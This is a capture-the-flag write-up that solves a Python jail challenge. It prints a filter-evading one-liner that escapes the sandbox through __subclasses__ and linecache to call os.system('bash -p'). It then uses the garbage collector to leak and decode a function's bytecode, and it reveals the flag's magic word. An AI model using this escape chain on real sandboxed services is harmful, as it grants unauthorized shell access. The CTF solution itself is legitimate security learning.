Let’s discuss Python - Jail - Garbage collector
.
Python - Jail - Garbage collector
A black box Python jail challenge. We can’t import anything along with some restrictions. We need to use the garbage collector to get the flag.
Getting a shell doesn’t solve the challenge. We need to import gc
and call gc.collect()
to get the flag.
Shell
Still, I managed to get a shell. Here’s how I did it:
[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bas'+ 'h -p')
This is a one-liner that gets the os.system
function and calls os.system('bash -p')
. However, I can’t use this to get the flag. I need to use the garbage collector to get the flag.
Garbage collector
The garbage collector is a built-in module in Python. We can use it to peek into the memory and get the flag.
gc = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__.__getattribute__("func_global"+"s")['linecache'].__dict__['sys'].__dict__['modules']['gc']
I imported the garbage collector through the sys
module. Now I can call gc.collect()
to peek into the memory.
objects = gc.get_objects()
print objects[0]
# [<function get_your_keys at 0xb7c19c34>, ...]
The first object is a function called get_your_keys
. I can leak the function’s bytecode and other attributes.
func = objects[0]
func_details = (func.__name__, repr(func.__code__.co_code), func.__code__.co_consts, func.__code__.co_varnames, func.__code__.co_freevars, func.__code__.co_names, '')
When I print the function details, I get the bytecode, constants, variable names, free variables, and names.
[07:49] >>> print func_details
('get_your_keys', '\'d\\x01\\x00}\\x01\\x00d\\x02\\x00d\\x03\\x00d\\x04\\x00d\\x05\\x00d\\x06\\x00d\\x03\\x00d\\x07\\x00d\\x08\\x00d\\t\\x00d\\n\\x00d\\t\\x00d\\x0b\\x00d\\x0c\\x00d\\r\\x00d\\x03\\x00d\\x0e\\x00d\\x0f\\x00d\\x06\\x00d\\x10\\x00g\\x13\\x00}\\x02\\x00x"\\x00|\\x02\\x00D]\\x1a\\x00}\\x03\\x00|\\x01\\x00t\\x00\\x00|\\x03\\x00d\\x11\\x00A\\x83\\x01\\x007}\\x01\\x00qL\\x00W|\\x00\\x00|\\x01\\x00k\\x02\\x00r\\x82\\x00d\\x12\\x00|\\x01\\x00\\x16GHn\\x05\\x00d\\x13\\x00GHd\\x00\\x00S\'', (None, '', 291105, 291152, 291104, 291159, 291089, 291109, 291094, 291154, 291124, 291095, 291083, 291118, 291086, 291155, 291130, 291171, 'Well done! Here is your flag: %s', 'This is not the magic word.'), ('magic_word', 'r', 'f', 'x'), (), ('chr',), '')
We have everything to reconstruct the function locally.
import types
# Extracted details
func_name = 'get_your_keys'
co_code = '\'d\\x01\\x00}\\x01\\x00d\\x02\\x00d\\x03\\x00d\\x04\\x00d\\x05\\x00d\\x06\\x00d\\x03\\x00d\\x07\\x00d\\x08\\x00d\\t\\x00d\\n\\x00d\\t\\x00d\\x0b\\x00d\\x0c\\x00d\\r\\x00d\\x03\\x00d\\x0e\\x00d\\x0f\\x00d\\x06\\x00d\\x10\\x00g\\x13\\x00}\\x02\\x00x"\\x00|\\x02\\x00D]\\x1a\\x00}\\x03\\x00|\\x01\\x00t\\x00\\x00|\\x03\\x00d\\x11\\x00A\\x83\\x01\\x007}\\x01\\x00qL\\x00W|\\x00\\x00|\\x01\\x00k\\x02\\x00r\\x82\\x00d\\x12\\x00|\\x01\\x00\\x16GHn\\x05\\x00d\\x13\\x00GHd\\x00\\x00S\''
co_code = eval(co_code)
co_consts = (None, '', 291105, 291152, 291104, 291159, 291089, 291109, 291094, 291154, 291124, 291095, 291083, 291118, 291086, 291155, 291130, 291171, 'Well done! Here is your flag: %s', 'This is not the magic word.')
co_varnames = ('magic_word', 'r', 'f', 'x')
co_freevars = ()
co_names = ('chr',)
co_filename = '<string>'
co_name = func_name
co_firstlineno = 1
co_lnotab = b''
co_cellvars = ()
func_closure = None # Assuming no closure for simplicity
# Rebuild the code object
new_code = types.CodeType(
1, # argcount
4, # nlocals
2, # stacksize
1, # flags
co_code,
co_consts,
co_names,
co_varnames,
co_filename,
co_name,
co_firstlineno,
co_lnotab,
co_freevars,
co_cellvars
)
# Rebuild the function object
new_function = types.FunctionType(new_code, globals(), func_name, None, func_closure)
# Execute the function
new_function('test')
I was able to reconstruct the function and execute it. However, It needs a magic word to get the flag. I don’t have the magic word. So I disassembled the bytecode to understand the function’s logic.
import dis
co_code = '\'d\\x01\\x00}\\x01\\x00d\\x02\\x00d\\x03\\x00d\\x04\\x00d\\x05\\x00d\\x06\\x00d\\x03\\x00d\\x07\\x00d\\x08\\x00d\\t\\x00d\\n\\x00d\\t\\x00d\\x0b\\x00d\\x0c\\x00d\\r\\x00d\\x03\\x00d\\x0e\\x00d\\x0f\\x00d\\x06\\x00d\\x10\\x00g\\x13\\x00}\\x02\\x00x"\\x00|\\x02\\x00D]\\x1a\\x00}\\x03\\x00|\\x01\\x00t\\x00\\x00|\\x03\\x00d\\x11\\x00A\\x83\\x01\\x007}\\x01\\x00qL\\x00W|\\x00\\x00|\\x01\\x00k\\x02\\x00r\\x82\\x00d\\x12\\x00|\\x01\\x00\\x16GHn\\x05\\x00d\\x13\\x00GHd\\x00\\x00S\''
code = eval(co_code)
dis.dis(code)
When I run the disassembler, I see the function’s logic. It’s a simple XOR operation with constants.
0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (1)
6 LOAD_CONST 2 (2)
9 LOAD_CONST 3 (3)
12 LOAD_CONST 4 (4)
15 LOAD_CONST 5 (5)
18 LOAD_CONST 6 (6)
21 LOAD_CONST 3 (3)
24 LOAD_CONST 7 (7)
27 LOAD_CONST 8 (8)
30 LOAD_CONST 9 (9)
33 LOAD_CONST 10 (10)
36 LOAD_CONST 9 (9)
39 LOAD_CONST 11 (11)
42 LOAD_CONST 12 (12)
45 LOAD_CONST 13 (13)
48 LOAD_CONST 3 (3)
51 LOAD_CONST 14 (14)
54 LOAD_CONST 15 (15)
57 LOAD_CONST 6 (6)
60 LOAD_CONST 16 (16)
63 BUILD_LIST 19
66 STORE_FAST 2 (2)
69 SETUP_LOOP 34 (to 106)
72 LOAD_FAST 2 (2)
75 GET_ITER
>> 76 FOR_ITER 26 (to 105)
79 STORE_FAST 3 (3)
82 LOAD_FAST 1 (1)
85 LOAD_GLOBAL 0 (0)
88 LOAD_FAST 3 (3)
91 LOAD_CONST 17 (17)
94 BINARY_XOR
...
...
Then I managed to create a script that XORs the constants and gets the flag.
def compute_magic_word():
int_list = [291105, 291152, 291104, 291159, 291089, 291152, 291109, 291094, 291154, 291124, 291154, 291095, 291083, 291118, 291152, 291086, 291155, 291089, 291130]
result_string = ''
xor_const = 291171
for value in int_list:
result_string += chr(value ^ xor_const)
return result_string
magic_word = compute_magic_word()
print("Magic Word:", magic_word)
When I run the script, I get the magic word and the flag.
$ python3 get_flag.py
Magic Word: B3C4r3Fu1W1thM3m0rY